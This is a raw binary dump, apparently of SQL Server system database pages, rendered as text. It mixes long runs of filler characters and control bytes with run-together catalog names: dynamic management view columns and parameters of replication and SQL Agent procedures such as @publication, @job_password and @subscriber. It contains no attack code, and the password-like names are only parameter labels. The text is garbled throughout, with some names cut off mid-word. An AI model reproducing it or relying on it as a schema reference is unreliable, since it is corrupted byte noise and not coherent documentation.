!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g
.v
#
		0	v#4/q9LuQ`-=2)6f>s$s
0-kWxx=type0-kW88
Gentity_id0-kW88
Gis_signed0-kW88
Yis_signature_valid0-kWA@class0-kWK@thumbprint0-=88
Kdatabase_id0-=$$Egroup_id0-=$$Ireplica_id0-=$$Wgroup_database_id0-=hhEis_local0-=00_synchronization_state0-=x4xisynchronization_state_desc0-=hh_is_commit_participant0-=	00asynchronization_health0-=
x4xksynchronization_health_desc0-=00Qdatabase_state0-=xx[database_state_desc0-=
hhMis_suspended0-=00Qsuspend_reason0-=x4x[suspend_reason_desc0-=ll

Mrecovery_lsn0-=ll

Qtruncation_lsn0-=ll

Olast_sent_lsn0-===Qlast_sent_time0-=ll

Wlast_received_lsn0-===Ylast_received_time0-=ll

Wlast_hardened_lsn0-===Ylast_hardened_time0-=ll

Slast_redone_lsn0-===Ulast_redone_time0-=[log_send_queue_size0-=Olog_send_rate0-=Sredo_queue_size0-=Gredo_rate0-=]filestream_send_rate0-=ll

Qend_of_log_lsn0-= ll

Slast_commit_lsn0-=!==Ulast_commit_time0-="glow_water_mark_for_ghosts0-i88
Mattribute_id0-TO@table_server0-TK@pktab_name0-TO@pktab_schema0-TQ@pktab_catalog0-TK@fktab_name0-TO@fktab_schema0-TQ@fktab_catalog0-88
G@agent_id0-I@timestamp!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!d
U`

c

	b		[
jq$x
M@[6K
+`-JA)?n$5%0-D|88
9id0-D|00Gattribute0-D|@;wkb0-D|E@gGeoObj0-D|88
A@crows0-D|88
G@ccolumns0-'cdispatcher_pool_address0-'4=type0-'4=name0-'88
Udispatcher_count0-'88
adispatcher_ideal_count0-'88
_dispatcher_timeout_ms0-'88
edispatcher_waiting_count0-'88
Mqueue_length0-'	88
Kpdw_node_id0-$$Oag_replica_id0-$$Eag_db_id0-Mrecovery_lsn0-00Isync_state0-

hhS@createNewState0-

88
K@newstateid0-

88
G@parentid0-

88
S@phraseIdOrNull0-

?@term0-

88
?@lcid0-

hhU@newStateCreated0-

hhc@duplicateThesaurusRule0-%88
Kdatabase_id0-%Ophysical_name0-sM@publication0-s88
G@pub_type0-sI@publisher0-w1I@publisher0-w1O@publisher_db0-+$$C@job_id0-+$$G@step_uid0-M@publication0-44Q@rowcount_only0-00O@full_or_fast0-hhS@shutdown_agent0-VE@tran_id0-VC@row_id0-VS@conflict_table0-VhhQ@is_subscriber0-$$G@agent_id0-00K@agent_type0-S@monitor_server0-hho@monitor_server_security_mode0-88
g@history_retention_period0-==M@curdate_utc0-/M@publication0-/I@publisher0-/O@publisher_db0-*p0$$I@replicaid0-*p0hhM@needcleanup0-%G@startgen0-%88
E@changes0-%88
E@updates0-%88
E@deletes0-c	88
U@parent_nickname0-c	$$S@parent_rowguid0-c	7c@logical_record_lineage0-q88
G@nickname0-q$$A@pubid0-q88
W@processing_orderI@publisher0-?hhM@from_backup0-Z,W@xact_seqno_start0-Z,S@xact_seqno_end0-Z88
Q@originator_id0-Z88
a@publisher_database_id0-Z88
K@article_id0-Z88
K@command_id0-Z88
G@agent_id0-Z88
]@compatibility_level0-M@publication0-44Q@rowcount_only0-00O@full_or_fast0-hhS@shutdown_agent0-VE@tran_id0-VC@row_id0-VS@conflict_table0-VhhQ@is_subscriber0-#888
K@request_id0-#8K@originator0-#8Q@originator_db0-#8c@originator_publication0-\I@publisher0-\O@publisher_db0-\M@publication0-\hhY@allow_queued_tran0-2L[@original_publisher0-2LO@publisher_db0-2Lhhm@bypass_publisher_validation0-$$G@agent_id0-00K@agent_type0-S@monitor_server0-hho@monitor_server_security_mode0-88
g@history_retention_period0-==M@curdate_utc0-/M@publication:
F
=
		N			p#/
	a|o#
H
~
x9Tb
>k&_/Y
t
	V			U?{K``w)@J.x'6J*is_cache_key6Jvalue6c*capabilities6c4capabilities_desc6c(description6cguid6c.module_address6c(module_guid6cname64BackupDescription6&BackupName6
&BackupSize6&BackupType6&Compressed6:DatabaseCreationDate6
*DatabaseName60DatabaseVersion6&DeviceType6.ExpirationDate6"FirstLSN6 LastLSN6"Position6	&ServerName6"UserName6-4hash_bucket_count6-Jhash_hit_total_search_length6-$hash_hits6-Lhash_miss_total_search_length6-(hash_misses6-2logpoolmgr_count6-&mem_status6-2mem_status_stamp61&is_enabled61name61source6xA @dbname6xA"@newname6cFlcid6cFname6pQ"@objname6_,cache_address6_&clock_hand6_*clock_status6_<last_round_start_time6_
.last_tick_time6_name6_
(pdw_node_id6_Bremoved_all_rounds_count6_	Bremoved_last_round_count6_2round_start_time6_*rounds_count6_type6_Bupdated_last_round_count6t#c"@optname6t#c$@optvalue6t#c @server6,CheckpointLSN64DatabaseBackupLSN60BackupStartDate62BackupFinishDate6$SortOrder6"CodePage60UnicodeLocaleId6>UnicodeComparisonStyle66CompatibilityLevel62SoftwareVendorId6:SoftwareVersionMajor6:SoftwareVersionMinor6:SoftwareVersionBuild6(MachineName6Flags6$BindingID6 .RecoveryForkID6!$Collation6"&FamilyGUID6#4HasBulkLoggedData6$&IsSnapshot6%&IsReadOnly6&*IsSingleUser6'6HasBackupChecksums6($IsDamaged6).BeginsLogChain6*<HasIncompleteMetaData6+.IsForceOffline6,&IsCopyOnly6-8FirstRecoveryForkID6.*ForkPointLSN6/,RecoveryModel608DifferentialBaseLSN61:DifferentialBaseGUID62<BackupTypeDescription63,BackupSetGUID64:CompressedBackupSize6,@table_schema6*@column_name63 (@objectnamexT6xT@pubid6xT"@artnick6$G,@install_path6(@subscriber6$@reserved68@ignore_distributor6&@publisher3`63`"@db_name6vZname6vZ$column_id6vZ&@object_id6vZ&@column_id6*@publication6"@article6*@source_proc64@destination_proc6@type62@creation_script6*@description64@pre_creation_cmd6	.@schema_option6
6@destination_owner6(@article_id6:*@publication6:"@article6:8@ignore_distributor6:F@force_invalidate_snapshot6:&@publisher6:>@from_drop_publication6:0@publisher_type6:$@internal6 g"@article6 g,@command_only6 g	@alter6*@publication6"@article6@objid6]r@artid6]r.@publishertype6]r&@publisher6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db66@keep_for_last_run6$@job_only6L6&@publisher6L6(@subscriber
?6
?:@relational_operator6
?.@tracking_time6Ɣ*@publication6Ɣ*@suser_sname6Ɣ&@host_namer6:0@publisher_type6:*@is_snapshot6*@publication6"@article6*@source_proc64@destination_proc6@type62@creation_script6*@description64@pre_creation_cmd6	.@schema_option6
6@destination_owner6(@article_id6:*@publication6:"@article6:8@ignore_distributor6:F@force_invalidate_snapshot6:&@publisher6:>@from_drop_publication6:0@publisher_type6:$@internal6 g*@publication6 g"@article6 g,@command_only6 g&@publisher6 g,@publisher_db6 g*@distributor6 g @has_ts6 g	@alter6*@publica(TV	2		Xd(2V|pV4Ntz^,JL&h\~

8
T"j
b
<
P
~
*j<2j	\
\
v	F
6	
tF,h>r>ftN VFr(`
7),A	06h:kernel_paged_pool_kb6h0system_cache_kb6hPsystem_high_memory_signal_state6h	Nsystem_low_memory_signal_state6h
Bsystem_memory_state_desc6h6total_page_file_kb6hBtotal_physical_memory_kb6e,@dummy_column6e	4@include_computed6e&@object_id6e:@partition_column_id6e>@partition_function_id6e4@partition_number6e
0@sample_percent6e6@sample_table_name6e @schema6e@table6e$alter_ddl6e&insert_ddl6e2table_option_ddl6.active_backups6*active_loads60active_requests60active_restores6,idle_sessions6*queued_loads60queued_requests6.total_sessions6p'(category_id6p'name6p'.trace_event_id6 @DBName6"@objname6lo2"@devname6E@name6E6@referencing_class6E:is_all_columns_found6E*is_ambiguous6E8is_caller_dependent6E,is_select_all6E
(is_selected6E&is_updated6E	2referenced_class6E
<referenced_class_desc6EBreferenced_database_name6E>referenced_entity_name6E,referenced_id6E8referenced_minor_id6E<referenced_minor_name6E>referenced_schema_name6E>referenced_server_name6E:referencing_minor_id6K @dbname6K&@filename16K(@filename106K(@filename116K
(@filename126K(@filename136K(@filename146K(@filename156K(@filename166K&@filename26K&@filename36K&@filename46K&@filename56K&@filename66K&@filename76K	&@filename86K
&@filename96S8available_memory_kb6S6forced_grant_count6S4granted_memory_kb6S,grantee_count6S:max_target_memory_kb6S
(pdw_node_id6S pool_id6S<resource_semaphore_id6S2target_memory_kb6S
8timeout_error_count6S0total_memory_kb6S.used_memory_kb6S	*waiter_count6LSULio_completion_request_address6:"@sp_name6:$@sp_owner6:,@sp_qualifier6:*@fUsePattern6iS	 db_name6iS	4current_principal6iS	.mirroring_role6iS	0mirroring_state6$@job_name64@owner_login_name6&@subsystem6&@job_login6,@job_password6$@proxy_ids<H6s<H*@baseVersion6s<H"@versionT6T"@seconds66(@agent_type660@parameter_name66.@default_value66&@min_value66&@max_value6mJ@tabid6NH
&@src_objid6NH
@artid6NH
 @prefix6NH
.@artcolcounter6NH
.@publishertype6NH
8@skipcomputedcolumn@9U6@9U @column6Q*@publication6Q@found6Q0@publication_id6Q$@reserved6Q&@publisher6Q,@publisher_db6+3*@publication6+3"@article6yg*@publication6ygD@dynamic_snapshot_jobname6yg@@dynamic_snapshot_jobid6yg8@ignore_distributor6s*@publication6N@pubid6N0@AlterTableOnly6N.@schemaversion6Nb@invalidateupload_schemachanges_for_ssce6NL@filter_skipped_schemachanges6
@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!lzlBz>


\
&
\62`|V0
nF



`
V2&
		n	6	
	Nj@*pPt4Tt^*"BX,tBT N"
0bTh`

)B^!ɶ6P|\database_transaction_log_record_count6P|ndatabase_transaction_most_recent_savepoint_lsn6P|Vdatabase_transaction_next_undo_lsn6P|	hdatabase_transaction_replicate_record_count6P|Fdatabase_transaction_state6P|Hdatabase_transaction_status6P|Jdatabase_transaction_status26P|Ddatabase_transaction_type6P|.transaction_id6g*	4client_process_id6g*2client_thread_id6g**current_spid6g*Dfilestream_transaction_id6g*
>handle_context_address6g*$handle_id6g*irp_id6g*@request_context_address6g*&request_id6g*,request_state6g**request_type6u2@constraint_name6u6@constraint_schema6u6@constraint_schema6@artid6&@publisher60@publisher_type6*@publication60@frequency_type68@frequency_interval64@frequency_subday6F@frequency_subday_interval6J@frequency_relative_interval6J@frequency_recurrence_factor66@active_start_date6	2@active_end_date6
D@active_start_time_of_day6@@active_end_time_of_day66@snapshot_job_name6
B@publisher_security_mode62@publisher_login68@publisher_password6&@job_login6,@job_password6&@publisher60@publisher_type6́(@subscriber6́@type6́@login6́$@password6́6@commit_batch_size6́6@status_batch_size6́2@flush_frequency6́0@frequency_type6́	8@frequency_interval6́
J@frequency_relative_interval6́J@frequency_recurrence_factor6́4@frequency_subday6́
F@frequency_subday_interval6́D@active_start_time_of_day6́@@active_end_time_of_day6́6@active_start_date6́2@active_end_date6́*@description6́.@security_mode6́&@publisher6́0@publisher_type6&@publisher6D@publisher_engine_edition6镧*@publication6镧&@publisher6ʎ*@publication6ʎ"@article6ʎ(@subscriber6ʎ0@destination_db6ʎ&@sync_type6ʎ @status6ʎ6@subscription_type6ʎ*@update_mode6ʎ	8@loopback_detection6ʎ
0@frequency_type6ʎ8@frequency_interval6ʎJ@frequency_relative_interval6ʎ
J@frequency_recurrence_factor6ʎ4@frequency_subday6ʎF@frequency_subday_interval6ʎD@active_start_time_of_day6ʎ@@active_end_time_of_day6ʎ6@active_start_date6ʎ2@active_end_date6ʎ>@optional_command_line6ʎ$@reserved6ʎ:@enabled_for_syncmgr6ʎ4@dts_package_name6ʎ<@dts_package_password6ʎ<@dts_package_location6ʎ>@distribution_job_name6ʎ&@publisher6ʎ0@publisher_type6ʎ:@subscriptionstreams6ʎ2@subscriber_type6ʎ@pubid6ʎ ,@non_sql_flag6ʎ!2@publisher_local6ʎ"0@immediate_sync6ʎ#@srvid6ʎ$<@independent_agent_id6ʎ%B@dts_package_location_id6ʎ&<@immediate_sync_ready6ʎ'*@sync_method6ʎ(<@subscription_type_id6ʎ)&@pubstatus6ʎ*2@allow_anonymous6ҧ*@publication6ҧ"@article6ҧ$@procname6ҧ,@source_objid6ҧ@artid6ҧ@alter6Iɠ"@tran_id6Iɠ @row_id6Iɠ0@conflict_table6\&@src_objid6\@artid6\.@artcolcounter6\*@param_count6-̲&@publisher6-̲,@publisher_db6-̲*@publication6-̲ @job_id6@pubid60@join_filter_id6&@dri_based6B@unique_constraint_based_local6ʎ"0@immediate_sync6ʎ#@srvid6ʎ$<@independent_agent_id6ʎ%B@dts_package_location_id6ʎ&<@immediate_sync_ready6ʎ'*@sync_method6ʎ(<@subscription_type_id6ʎ)&@pubstatus6ʎ*2@allow_anonymous6ʎ+0@update_mode_id6ҧ*@publication6ҧ"@article6ҧ$@procname6ҧ,@source_objid6ҧ@artid6ҧ@alter6Iɠ"@tran_id6Iɠ @row_id6Iɠ0@conflict_table64f@qualified_procedure_execution_object_name6\&@src_objid6\@artidx2BR"0znX<N
B
HP
(6b2hDf26TtBHf$
j
&nH

@\


H

:
		X	
T		~`\*v.*`xh)
C^06oj<dispatcher_timeout_ms6ojBdispatcher_waiting_count6ojname6oj*queue_length6ojtype6)t"@defname6)t(@futureonly6)t"@objname6}#| @action6.@update_period6"index_id6$object_id6rowset6|
"affinity6|,creation_time6|*event_handle6|<fiber_context_address6|&fiber_data6|8instruction_address6|2is_impersonating6|Dis_waiting_on_loader_lock6|(kernel_time6|locale6|*os_thread_id6|"priority6|0processor_group6|4scheduler_address6|*self_address6|	6stack_base_address6|<stack_bytes_committed6|2stack_bytes_used6|
4stack_end_address6&@data_type6(@best_match6:0@procedure_name6:,@group_number6:4@procedure_schema6:0@parameter_name363$@filename;}6;}"@command6;}&@parameter6 @job_id6&@agenttype6*@publication6(@scriptfile6&@skiperror6&@publisher6(@subscriber6$@reserved68@ignore_distributor6&@publisher6"@noraise6'@dbms6'"@version6'@type6'"@dbms_id6'*@datatype_id6ˢ(@mapping_id6ˢ*@source_dbms6ˢ0@source_version6ˢ*@source_type6ˢ6@source_length_min6ˢ6@source_length_max6ˢ<@source_precision_min6ˢ<@source_precision_max6ˢ	4@source_scale_min6ˢ
4@source_scale_max6ˢ2@source_nullable6ˢ4@destination_dbms6ˢ
:@destination_version6ˢ4@destination_type6ˢ8@destination_length6ˢ>@destination_precision6ˢ6@destination_scale6ˢ<@destination_nullable6_Wt&@publisher6_Wt0@packageversion6cf*@publication6cf"@article6cf @status6cf<@skipobjectactivation6cf&@publisher6Z&@publisher6Z"@enabled6Z$@interval6Z&@threshold6Z(@LRinterval6Z*@LRthreshold6S(@subscriber6ɲ.@source_schema6ɲ*@source_name6ɲ(@index_name6c*@publication6c<@qualified_table_name6@pubid6@pubid6@artid6@bm16@bm26@bmout6&@tablename6(@index_nameameter6 @job_id6&@agenttype6
@objid6
&@publisher6
,@publisher_db6
*@publication6
$@procname6
(@proc_owner6
"@cftproc6
,@identity_col6
	 @ts_col6

"@op_type6
8@primary_key_bitmap6
(@pubversion67&$@rolename67&(@membername6*@publication6(@scriptfile6&@skiperror6&@publisher6C8@frequency_interval6C4@frequency_subday6CF@frequency_subday_interval6CJ@frequency_relative_interval6CJ@frequency_recurrence_factor6C6@active_start_date6C	2@active_end_date6C
D@active_start_time_of_day6C@@active_end_time_of_day6(@subscriber6$@reserved68@ignore_distributor6&@publisher6"@noraise68$@database68$@property68@value6'@dbms6'"@version6'@type6'"@dbms_id6'*@datatype_id6ˢ(@mapping_id6ˢ*@source_dbms6ˢ0@source_version6ˢ*@source_type6ˢ6@source_length_min6ˢ6@source_length_max6ˢ<@source_precision_min6ˢ<@source_precision_max6ˢ	4@source_scale_min6ˢ
4@source_scale_max6ˢ2@source_nullable6ˢ4@destination_dbms6ˢ
:@destination_version6ˢ4@destination_type6ˢ8@destination_length6ˢ>@destination_precision6ˢ6@destination_scale6ˢ<@destination_nullable6_*@publication6_&@publisher6_0@publisher_type6_Wt&@publisher6_Wt0@packageversion6cf*@publication6cf"@article6cf @status6cf<@skipobjectactivation6cf&@publisher6Z&@publisher6Z"@enabled6Z$@interval6Z&@threshold6Z(@LRinterval6Z*@LRthreshold6S(@subscriber6ɲ.@source_st8tR(
l4|Z
X0pT|<	^	z	 		.<x

J((X<<b
H
V
r

		$^
>
T*z

^<"`
vZ)zD!F66 @server66 GRANTOR6s̆@fn6s̆"@keytype6s̆@pwd6$@newvalue6.component_name6,database_name6(object_name6(schema_name6state6type6$type_desc6B(@membername6B$@rolename66 GRANTEE66,TABLE_CATALOG66*TABLE_SCHEMA66&TABLE_NAME66.PRIVILEGE_TYPE66*IS_GRANTABLE6ar(@table_name6ar*@table_owner6ar2@table_qualifier6 ۛ(@table_name6 ۛ,@table_schema6 ۛ*@column_name6 ۛ0@constr_catalog6 ۛ.@constr_schema6 ۛ*@constr_name6*@raise_error6&`v*@publication6&`v&@publisher6&`v,@publisher_db6&`v$@property6&`v@value6V@name6V$@database65- @job_id6xq*@server_name6xq.@database_name6xq(@agent_type6xq&@publisher6xq,@publisher_db6ց	@objid6ց	6@subtype_addcolumn6ց	.@subtype_addun6ց	0@subtype_addchk6ց	.@subtype_adddf6ց	.@subtype_addfk6ց	*@debug_print6Dz&@publisher6Dz,@publisher_db6Dz*@publication6(@profile_id6&@publisher6,@source_owner6,@source_table6"@refresh6Ǒ"@article6Ǒ0@destination_db6Ǒ8@ignore_distributor6h&@publisher6hD@publisher_engine_edition6hT@about_to_insert_new_subscription6R/8"@dest_db6R/8&@dest_path6R/8$@filename6`@pubid6`@subid6`,@replicastate6`0@replica_server6`(@replica_db6`4@replica_priority6`2@subscriber_type6`6@subscription_type6`	2@datasource_type6`
2@datasource_path6`$@replnick6` @status6`
&@sync_type6`*@publication6`*@distributor6`2@replica_version6`*@compatlevel6&@tablename6,@tablenickstr6@phase60@isconflictproc6(@tablename2abname6͚@maxx6͚@maxy6͚@minx6͚@miny6͚,@results_card6͚.@verboseoutput6͚(@xml_output6 @Action6&@LoginName6$@Password62@UserNamePattern6'(@level0name6'(@level0type6'(@level1name6'(@level1type6'(@level2name66 GRANTEE66,TABLE_CATALOG66*TABLE_SCHEMA66&TABLE_NAME66.PRIVILEGE_TYPE66*IS_GRANTABLE6ar(@table_name6ar*@table_owner6ar2@table_qualifier6Fh(@table_name6Fh*@table_owner6Fh2@table_qualifier6Fh(@index_name6Fh&@is_unique6Fh$@accuracy6 ۛ(@table_name6 ۛ,@table_schema6 ۛ*@column_name6 ۛ0@constr_catalog6 ۛ.@constr_schema6 ۛ*@constr_name6<4@procedure_schema6<0@parameter_name6H.@offloadserver6"@optname6*@raise_error6V&@publisher6&`v*@publication6&`v&@publisher6&`v,@publisher_db6&`v$@property6&`v@value6V@name6V$@database65- @job_id6xq*@server_name6xq.@database_name6xq(@agent_type6xq&@publisher6xq,@publisher_db6ց	@objid6ց	6@subtype_addcolumn6ց	.@subtype_addun6ց	0@subtype_addchk6ց	.@subtype_adddf6ց	.@subtype_addfk6ց	*@debug_print6#Zj @server6#Zj@login6#Zj$@password6#Zj2@distribution_db6|z&@publisher6|z,@publisher_db6|z*@publication6|z @action6Dz&@publisher6Dz,@publisher_db6Dz*@publication6(@profile_id6*@publication6&@publisher6$@reserved6.q&@publisher6?u*@publication6?u&@publisher/<R6/<R @pbinin6&@object_id6
6&@publisher6
6,@publisher_db6
6*@publication6
6"@article6&@publisher6,@source_owner6,@source_table6"@refresh6&@publisher6.@versionsmatch60@packageversion6Ǒ*@publication6Ǒ"@article6Ǒ(@subscriber6Ǒ0@destination_db6Ǒ8@ignore_distributor6h&@publisher6hD@publisher_engine_edition6hT@about_to_insert_new_subscript		|	DrF^8^4\.		Z	`:.X,

p
4
V$N
l
Z
0



0
\zT2h`)zJE1'6W|&event_name6W|,property_name6@bogus6$@loginame6
*capabilities6
4capabilities_desc6
(description6
name6
(object_type6
*package_guid6
$type_name6
4type_package_guid6
	$type_size6Y	*capabilities6Y
4capabilities_desc6Y$column_id6Y(column_type6Y*column_value6Y(description6Yname6Y(object_name6Y8object_package_guid6Y$type_name6Y4type_package_guid6]`(@table_name6]`*@table_owner6]`2@table_qualifier6]`*@column_name6]`"@ODBCVer69Vw$object_id69Vw$schema_id69Vw2procedure_number69Vw odbcver69Vw8PROCEDURE_QUALIFIER69Vw0PROCEDURE_OWNER69Vw.PROCEDURE_NAME69Vw(COLUMN_NAME69Vw	(COLUMN_TYPE69Vw
$DATA_TYPE69Vw*DATA_TYPE_9069Vw*DATA_TYPE_2869Vw$PRECISION69Vw*PRECISION_2869VwLENGTH69Vw$LENGTH_9069Vw$LENGTH_2869VwSCALE69Vw"SCALE_9069VwRADIX69Vw"NULLABLE69Vw REMARKS69Vw&COLUMN_DEF69Vw,SQL_DATA_TYPE69Vw2SQL_DATA_TYPE_9069Vw2SQL_DATA_TYPE_2869Vw2SQL_DATETIME_SUB69Vw8SQL_DATETIME_SUB_9069Vw4CHAR_OCTET_LENGTH69Vw :CHAR_OCTET_LENGTH_2869Vw!2ORDINAL_POSITION69Vw"(IS_NULLABLE69Vw#:SS_TYPE_CATALOG_NAME69Vw$8SS_TYPE_SCHEMA_NAME69Vw+*SS_DATA_TYPE6,@table_schema6(@table_type6}*@publication6}"@article6}&@publisher6}0@publisher_type6},@command_only6}@alter6}&@trig_onlyu6u @string6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6*@resync_type62@resync_date_str6%&@within_db6*@publication6&@publisher6,@publisher_db62@subscriber_type6>@subscription_priority6&@sync_type6*@description]S6]S*@object_name6%(@xact_seqno6%&@publisherj46j40@publication_id6j40@thresholdindex62(@request_id6F%0$@agent_id6F%0&@runstatus6F%0$@comments6F%0.@delivery_time6F%04@download_inserts6F%04@download_updates6F%04@download_deletes6F%08@download_conflicts6F%0	0@upload_inserts6F%0
0@upload_updates6F%00@upload_deletes6F%04@upload_conflicts6F%0
&@log_error6F%06@perfmon_increment6F%0:@update_existing_row6F%00@updateable_row6F%0,@do_raiserror6F%0l@called_by_nonlogged_shutdown_detection_agent6F%0:@session_id_override6@subid6.@keep_sessions6:V&@publisher6:V,@publisher_db6:V*@publication6:V.@show_security6a7name6a74@capture_instance6A[@pubid6A[*@column_list6A[,@source_objid6A[(@guid_alias6@gen6*@changecount6"@artnick6 @dbname6"@nickbinZ_m6Z_m@artid6t*@publication6t(@subscriber6t.@subscriber_db6t2@support_options6t(@web_server6t,@log_severity6t*@log_modules6t.@log_file_path6t	.@log_file_name6t
.@log_file_size6t2@no_of_log_files6t2@upload_interval6t
:@delete_after_upload6t.@custom_script6t2@message_pattern6t$@agent_xe6t<@agent_xe_ring_buffer6t @sql_xe6@pubid6V[$@art_nick6m@repid6u&@tablename,@publisher_db6*@publication6(@subscriber6.@subscriber_db6*@resync_type62@resync_date_str6l0$@sql_path6l0&@data_path6*@vendor_name6*@publication6%&@within_db6*@publication6&@publisher6,@publisher_db62@subscriber_type6>@subscription_priority6&@sync_type6*@description]S6]S*@object_name62(@profile_id62$@property62@value6%(@xact_seqno6%&@publisher6*@publication6"@articlej46j40@publication_j
0

0	n$(H	zdF
X0H	h	$@2n`X0d:J$vv|0f@DzV2(P>xFfhD

2
\
`x^6bb0



>
zRl J>`
4)
	Fz]6@name6*@raise_error6I>classifier_function_id6IFis_reconfiguration_pending6ˮ@name6ˮ&@namespace6vq*@view_schema6@artid6@mode6.@publishertype6 @format6,@identity_col6 @ts_col6"@op_type6@objid6 @indent68@primary_key_bitmapی6ی,@unit_of_time6ی"@curdate64
&@no_checks64
8@ignore_distributor6U&@publisher64@capture_instance6b$@job_type6t$@job_type6t$@maxtrans6t$@maxscans6t(@continuous6t2@pollinginterval6t&@retention6t&@threshold6)@@dynamic_snapshot_jobid6)
6@active_start_date6)2@active_end_date6)D@active_start_time_of_day6)
@@active_end_time_of_day060.@filter_clause60 @column60@objid6^"@maxrows6^&@temp_cont6^&@tablenick6^"@rowguid6^@pubid6^*@compatlevel6^f@return_count_of_rows_initially_enumerated6^>@enumentirerowmetadata6^	<@blob_cols_at_the_end6^
B@maxschemaguidforarticle6i@objid6nw&"max_rows6nw0max_worker_time6nw*min_clr_time6nw2min_elapsed_time6nw4min_logical_reads6nw6min_logical_writes6nw6min_physical_reads6nw%"min_rows6nw0min_worker_time6nw8plan_generation_num6nw(plan_handle6nw!&query_hash6nw"0query_plan_hash6nw&sql_handle6nw:statement_end_offset6nw>statement_start_offset6nw.total_clr_time6nw6total_elapsed_time6nw8total_logical_reads6nw:total_logical_writes6nw
:total_physical_reads6nw#&total_rows6nw	4total_worker_time6Bg@p16}(create_time6}
 details6}"error_id6}(pdw_node_id6}&request_id6}&session_id6}source6}spid6}	$thread_id6}type6p @dbname6p>@keepfulltextindexfile6p(@skipchecks6~&catalog_id6~0completion_type6~Hcompletion_type_description6~(database_id6~.document_count6~Bdocument_processed_count6~<incremental_timestamp6J(@table_name6J,@table_schema6J,@table_schema6J(@table_name6J,@table_schema6J,@table_server6J.@table_catalog6J(@table_name6J,@table_schema6vq*@view_schema6,2@assembly_schema6,:@assembly_referenced6@artid6@mode6.@publishertype6 @formatQݣ6Qݣ@guid6Qݣ"@prefix16Qݣ"@prefix26Qݣ"@prefix36Qݣ"@prefix46,@identity_col6 @ts_col6"@op_type6@objid6 @indent68@primary_key_bitmap6Cq*@publication6Cq8@destination_folderی6ی,@unit_of_time6ی"@curdate64
&@no_checks64
8@ignore_distributor6 @map_id6:@datatype_mapping_id6U&@publisher6_/*@publication6_/"@article6_/0@destination_db6_/&@sync_type6_/8@loopback_detection6@artid6@mode6.@publishertype6&@publisher6Ei @job_id6$b(@session_id6 +@mode6 +$@agent_id6 +(@agent_type6 +(@session_id6 +0@session_status6 +0@monitor_server6 +L@monitor_server_security_mode6 +$@database6 +	$@log_time6 +
,@log_time_utc6 +"@message6$0@primary_server6$4@primary_database64@capture_instance64@capture_instance644@capture_instance64.@ddl_operation6b$@job_type6t$@job_type6t$@maxtrans6t$@maxscans6t(@continuous6t2@pollinginterval6t&@retention6t&@threshold6+4@capture_instancea6a4@capture_instance6a$@from_lsn6a @to_lsn6a6@row_filter_option6a*@net_changes6)*@publication6)D@dynamic_snapshot_jobname6)@@dynamic_snapshot_jobid6)0@frequency_type6)
6@active_start_date6)2@active_end_date6)D@active_start_time_of_day6)
@@active_end_time_of_day0J*|XL8^lF*&^:x:`0n<Jj|`%)G0
